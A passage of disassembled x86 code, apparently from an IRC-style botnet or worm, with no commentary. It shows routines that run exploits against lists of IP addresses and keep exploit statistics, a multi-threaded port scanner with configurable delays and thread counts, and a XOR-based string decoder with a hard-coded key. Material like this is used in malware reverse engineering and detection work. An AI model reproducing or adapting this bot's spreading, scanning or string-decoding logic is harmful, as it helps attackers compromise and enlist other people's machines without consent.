loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CE7C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF28 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CEF8 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEB4 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCD2[eax] push offset dword_41CF7C lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D028 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFF0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFC0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D058 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0C8 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0B4 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D078 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D110 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] 